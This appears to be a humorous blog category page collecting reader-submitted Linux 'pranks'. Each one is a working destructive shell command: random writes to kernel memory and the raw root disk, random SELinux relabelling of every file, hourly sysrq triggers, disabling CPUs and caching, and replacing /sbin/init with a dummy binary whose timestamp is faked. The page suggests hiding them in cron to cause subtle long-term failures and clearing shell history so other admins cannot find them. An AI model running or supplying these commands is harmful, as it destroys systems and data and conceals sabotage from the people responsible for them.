Archive for the ‘ Kernel Capers ’ Category

Russian Roulette

This one was sent in by DIVI:

dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=$RANDOM

This would be a nice one to hide somewhere in /etc/cron.d/

Defaults are fine, right?

chcon -t default_t /

SELinux fun

TYPES=($(seinfo -t | tail -n+3))
for FILE in $(find /); do
    chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
done) &> /dev/null

Accelerated bitrot

Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:

ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

Add some spice to your life

Spice up your life a bit with the following command:

echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime

No Reservations?

tune2fs -m50 $(mount | awk '/on / type/{print $1}')

Bad memory

This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:

sed -i -r '/vmlinuz/s/(.*)/1 memmap=256G$0x0000/' /boot/grub/grub.conf

Speed? What speed?

This one got submitted by Ray:

echo "base=0x00000000 size=0xffffffff type=uncachable" > /proc/mtrr

It works best if you put it in rc.sysinit or any other place early in your boot sequence.

Who needs multiple cores anyway?

Do you remember the good old days when all you had was a single core? Time to re-live those glory days!

for I in /sys/devices/system/cpu/cpu[1-9]*
do
    echo 0 > ${I}/online
done

Unfortunately we can’t disable cpu0…

SImplify your init

This one was submitted by fl0_:

Create a file called init.c

#include <stdio.h>
 
int main(){
 
       printf("MOEHAHAHHAAAAn");
       return 0;
}

Next run the following commands:

gcc -o init init.c
touch -r /sbin/init init
cp -f init /sbin/init

You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o history before you begin/kill -9 $$